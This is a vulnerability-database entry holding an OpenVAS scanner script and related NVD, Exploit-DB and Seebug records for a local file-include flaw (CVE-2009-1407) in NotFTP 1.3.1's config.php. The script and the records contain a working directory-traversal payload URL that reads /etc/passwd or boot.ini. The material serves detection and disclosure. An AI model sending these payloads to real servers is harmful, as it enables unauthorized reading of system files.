NotFTP 'config.php' Local File Include Vulnerability
2009-04-24T00:00:00
ID OPENVAS:100161 Type openvas Reporter This script is Copyright (C) 2009 Greenbone Networks GmbH Modified 2017-01-13T00:00:00
Description
NotFTP is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view and execute
arbitrary local files in the context of the webserver process. This
may aid in further attacks.
NotFTP 1.3.1 is vulnerable; other versions may also be affected.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: notftp_34636.nasl 5002 2017-01-13 10:17:13Z teissa $
#
# NotFTP 'config.php' Local File Include Vulnerability
#
# Authors
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "NotFTP is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view and execute
arbitrary local files in the context of the webserver process. This
may aid in further attacks.
NotFTP 1.3.1 is vulnerable; other versions may also be affected.";
if (description)
{
script_id(100161);
script_version("$Revision: 5002 $");
script_tag(name:"last_modification", value:"$Date: 2017-01-13 11:17:13 +0100 (Fri, 13 Jan 2017) $");
script_tag(name:"creation_date", value:"2009-04-24 20:04:08 +0200 (Fri, 24 Apr 2009)");
script_tag(name:"cvss_base", value:"6.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2009-1407");
script_bugtraq_id(34636);
script_name("NotFTP 'config.php' Local File Include Vulnerability");
script_category(ACT_GATHER_INFO);
script_tag(name:"qod_type", value:"remote_banner");
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("notftp_detect.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/34636");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);
if(!version = get_kb_item(string("www/", port, "/notftp")))exit(0);
if(!matches = eregmatch(string:version, pattern:"^(.+) under (/.*)$"))exit(0);
vers = matches[1];
dir = matches[2];
if(!isnull(vers) && vers >!< "unknown") {
if(version_is_equal(version: vers, test_version: "1.3.1")) {
VULN = TRUE;
}
} else {
# No version found, try to exploit.
if(!isnull(dir)) {
foreach file (make_list("etc/passwd", "boot.ini")) {
url = string(dir, "/config.php?newlang=kacper&languages[kacper][file]=../../../../../../../../", file);
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if( buf == NULL )continue;
if(egrep(pattern:"(root:.*:0:[01]:|\[boot loader\])", string: buf))
{
VULN = TRUE;
break;
}
}
}
}
if(VULN) {
security_message(port:port);
exit(0);
}
exit(0);
{"id": "OPENVAS:100161", "type": "openvas", "bulletinFamily": "scanner", "title": "NotFTP 'config.php' Local File Include Vulnerability", "description": "NotFTP is prone to a local file-include vulnerability because it\n fails to properly sanitize user-supplied input.\n\n An attacker can exploit this vulnerability to view and execute\n arbitrary local files in the context of the webserver process. This\n may aid in further attacks.\n\n NotFTP 1.3.1 is vulnerable; other versions may also be affected.", "published": "2009-04-24T00:00:00", "modified": "2017-01-13T00:00:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "http://plugins.openvas.org/nasl.php?oid=100161", "reporter": "This script is Copyright (C) 2009 Greenbone Networks GmbH", "references": ["http://www.securityfocus.com/bid/34636"], "cvelist": ["CVE-2009-1407"], "lastseen": "2017-07-02T21:14:10", "viewCount": 2, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2017-07-02T21:14:10", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-1407"]}, {"type": "exploitdb", "idList": ["EDB-ID:8504"]}, {"type": "seebug", "idList": ["SSV:5114"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310100161"]}], "modified": "2017-07-02T21:14:10", "rev": 2}, "vulnersScore": 6.8}, "pluginID": "100161", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: notftp_34636.nasl 5002 2017-01-13 10:17:13Z teissa $\n#\n# NotFTP 'config.php' Local File Include Vulnerability\n#\n# Authors\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"NotFTP is prone to a local file-include vulnerability because it\n fails to properly sanitize user-supplied input.\n\n An attacker can exploit this vulnerability to view and execute\n arbitrary local files in the context of the webserver process. This\n may aid in further attacks.\n\n NotFTP 1.3.1 is vulnerable; other versions may also be affected.\";\n\n\nif (description)\n{\n script_id(100161);\n script_version(\"$Revision: 5002 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-01-13 11:17:13 +0100 (Fri, 13 Jan 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-04-24 20:04:08 +0200 (Fri, 24 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1407\");\n script_bugtraq_id(34636);\n\n script_name(\"NotFTP 'config.php' Local File Include Vulnerability\");\n\n\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"notftp_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/34636\");\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"version_func.inc\");\n\nport = get_http_port(default:80);\n\nif(!get_port_state(port))exit(0);\nif(!can_host_php(port:port))exit(0);\n\nif(!version = get_kb_item(string(\"www/\", port, \"/notftp\")))exit(0);\nif(!matches = eregmatch(string:version, pattern:\"^(.+) under (/.*)$\"))exit(0);\n\nvers = matches[1];\ndir = matches[2];\n\nif(!isnull(vers) && vers >!< \"unknown\") {\n\n if(version_is_equal(version: vers, test_version: \"1.3.1\")) {\n VULN = TRUE;\n } \n\n} else { \n# No version found, try to exploit.\n if(!isnull(dir)) {\n foreach file (make_list(\"etc/passwd\", \"boot.ini\")) {\n url = string(dir, \"/config.php?newlang=kacper&languages[kacper][file]=../../../../../../../../\", file);\n req = http_get(item:url, port:port);\n buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\n if( buf == NULL )continue;\n \n if(egrep(pattern:\"(root:.*:0:[01]:|\\[boot loader\\])\", string: buf))\n { \n \t VULN = TRUE;\n\t break;\n }\n } \n }\n}\n\nif(VULN) {\n\n security_message(port:port);\n exit(0);\n\n} \n\nexit(0);\n", "naslFamily": "Web application abuses"}
{"cve": [{"lastseen": "2020-10-03T11:54:13", "description": "Directory traversal vulnerability in config.php in NotFTP 1.3.1 allows remote attackers to read arbitrary files via a .. (dot dot) in a certain languages[][file] parameter.", "edition": 3, "cvss3": {}, "published": "2009-04-24T14:30:00", "title": "CVE-2009-1407", "type": "cve", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": true, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-1407"], "modified": "2017-09-29T01:34:00", "cpe": ["cpe:/a:wonko:notftp:1.3.1"], "id": "CVE-2009-1407", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1407", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:wonko:notftp:1.3.1:*:*:*:*:*:*:*"]}], "openvas": [{"lastseen": "2020-06-03T17:48:47", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-1407"], "description": "NotFTP is prone to a local file-include vulnerability because it\n fails to properly sanitize user-supplied input.", "modified": "2020-05-29T00:00:00", "published": "2009-04-24T00:00:00", "id": "OPENVAS:1361412562310100161", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100161", "type": "openvas", "title": "NotFTP 'config.php' Local File Include Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# NotFTP 'config.php' Local File Include Vulnerability\n#\n# Authors\n# Michael Meyer\n#\n# Copyright:\n# Copyright (C) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:wonko:notftp\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100161\");\n script_version(\"2020-05-29T12:53:04+0000\");\n script_tag(name:\"last_modification\", value:\"2020-05-29 12:53:04 +0000 (Fri, 29 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2009-04-24 20:04:08 +0200 (Fri, 24 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1407\");\n script_bugtraq_id(34636);\n script_name(\"NotFTP 'config.php' Local File Include Vulnerability\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"notftp_detect.nasl\", \"os_detection.nasl\");\n script_mandatory_keys(\"notftp/detected\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/34636\");\n\n script_tag(name:\"summary\", value:\"NotFTP is prone to a local file-include vulnerability because it\n fails to properly sanitize user-supplied input.\");\n\n script_tag(name:\"impact\", value:\"An attacker can exploit this vulnerability to view and execute arbitrary\n local files in the context of the webserver process. This may aid in further attacks.\");\n\n script_tag(name:\"affected\", value:\"NotFTP 1.3.1 is vulnerable, other versions may also be affected.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the\n disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade\n to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"version_func.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!infos = get_app_version_and_location(cpe: CPE, port: port, exit_no_version: FALSE))\n exit(0);\n\nvers = infos[\"version\"];\npath = infos[\"location\"];\n\nif (vers && vers =~ \"[0-9.]+\") {\n if (version_is_equal(version: vers, test_version: \"1.3.1\")) {\n report = report_fixed_ver(installed_version: vers, fixed_version: \"None\", installed_path: path);\n security_message(port: port, data: report);\n exit(0);\n }\n# No version found, try to exploit.\n} else {\n\n if (path == \"/\")\n path = \"\";\n\n files = traversal_files();\n\n foreach file (keys(files)) {\n url = path + \"/config.php?newlang=kacper&languages[kacper][file]=../../../../../../../../\" + files[file];\n if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE )) {\n report = http_report_vuln_url(port: port, url: url);\n security_message(port: port, data: report);\n exit(0);\n }\n }\n}\n\nexit(99);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2016-02-01T07:31:23", "description": "NotFTP 1.3.1 (newlang) Local File Inclusion Vulnerability. CVE-2009-1407. Webapps exploit for php platform", "published": "2009-04-21T00:00:00", "type": "exploitdb", "title": "NotFTP 1.3.1 - newlang Local File Inclusion Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1407"], "modified": "2009-04-21T00:00:00", "id": "EDB-ID:8504", "href": "https://www.exploit-db.com/exploits/8504/", "sourceData": "NotFTP 1.3.1 => Local file include\r\nhttp://sourceforge.net/projects/notftp/\r\n\r\n\r\nAuthor: Kacper\r\nEmail: kacper1964@yahoo.pl\r\nHome: http://devilteam.pl/\r\n\r\nDC++ Hub address: bluber-hub.no-ip.biz:2008\r\n\r\nVuln:\r\n\r\nFile config.php:\r\n\r\n#########################################################################\r\n# This is where we decide what language to use. Don't mess with this\r\n# either.\r\n#########################################################################\r\n\r\nif (isset($newlang))\r\n{\r\n require_once(\"lib/lang/\".$languages[$newlang][\"file\"]);\r\n}\r\nelseif (isset($_COOKIE[\"notftplang\"]))\r\n{\r\n require_once(\"lib/lang/\".$languages[$_COOKIE[\"notftplang\"]][\"file\"]);\r\n}\r\nelse\r\n{\r\n require_once(\"lib/lang/\".$languages[DEFAULTLANG][\"file\"]);\r\n}\r\n\r\n# NotFTP version. Changing this would be silly. So don't.\r\n\r\nPoC:\r\n\r\nhttp://site.pl/path/config.php?newlang=kacper&languages[kacper][file]=../../../../../etc/passwd\r\n\r\nThe End\r\n\r\n========= \r\n\r\n# milw0rm.com [2009-04-21]\r\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/8504/"}], "seebug": [{"lastseen": "2017-11-19T18:52:17", "description": "BUGTRAQ ID: 34636\r\nCVE(CAN) ID: CVE-2009-1407\r\n\r\nNotFTP\u662f\u7528PHP\u7f16\u5199\u7684\u57fa\u4e8eWeb\u7684HTTP-FTP\u7f51\u5173\u3002\r\n\r\nNotFTP\u7684config.php\u811a\u672c\u6ca1\u6709\u6b63\u786e\u5730\u8fc7\u6ee4\u7528\u6237\u6240\u63d0\u4ea4\u7684\u53c2\u6570\uff0c\u5982\u679c\u8fdc\u7a0b\u653b\u51fb\u8005\u5728\u63d0\u4ea4\u7684URL\u8bf7\u6c42\u4e2d\u4f7f\u7528newlang\u53c2\u6570\u6307\u5b9a\u4e86\u672c\u5730\u7cfb\u7edf\u7684\u6076\u610f\u6587\u4ef6\u7684\u8bdd\uff0c\u5c31\u53ef\u80fd\u5728Web\u670d\u52a1\u5668\u4e0a\u8bfb\u53d6\u654f\u611f\u4fe1\u606f\u6216\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\u4ee5\u4e0b\u662fconfig.php\u811a\u672c\u4e2d\u7684\u6709\u6f0f\u6d1e\u4ee3\u7801\u6bb5\uff1a\r\n\r\nif (isset($newlang))\r\n{\r\n require_once("lib/lang/".$languages[$newlang]["file"]);\r\n}\r\nelseif (isset($_COOKIE["notftplang"]))\r\n{\r\n require_once("lib/lang/".$languages[$_COOKIE["notftplang"]]["file"]);\r\n}\r\nelse\r\n{\r\n require_once("lib/lang/".$languages[DEFAULTLANG]["file"]);\r\n}\r\n\n\nNotFTP 1.3.1\n NotFTP\r\n------\r\n\u76ee\u524d\u5382\u5546\u8fd8\u6ca1\u6709\u63d0\u4f9b\u8865\u4e01\u6216\u8005\u5347\u7ea7\u7a0b\u5e8f\uff0c\u6211\u4eec\u5efa\u8bae\u4f7f\u7528\u6b64\u8f6f\u4ef6\u7684\u7528\u6237\u968f\u65f6\u5173\u6ce8\u5382\u5546\u7684\u4e3b\u9875\u4ee5\u83b7\u53d6\u6700\u65b0\u7248\u672c\uff1a\r\n\r\n<a href=http://sourceforge.net/projects/notftp/ target=_blank rel=external nofollow>http://sourceforge.net/projects/notftp/</a>", "published": "2009-04-28T00:00:00", "title": "NotFTP config.php\u672c\u5730\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e", "type": "seebug", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1407"], "modified": "2009-04-28T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-5114", "id": "SSV:5114", "sourceData": "\n http://site.pl/path/config.php?newlang=kacper&languages[kacper][file]=../../../../../etc/passwd\n ", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-5114"}]}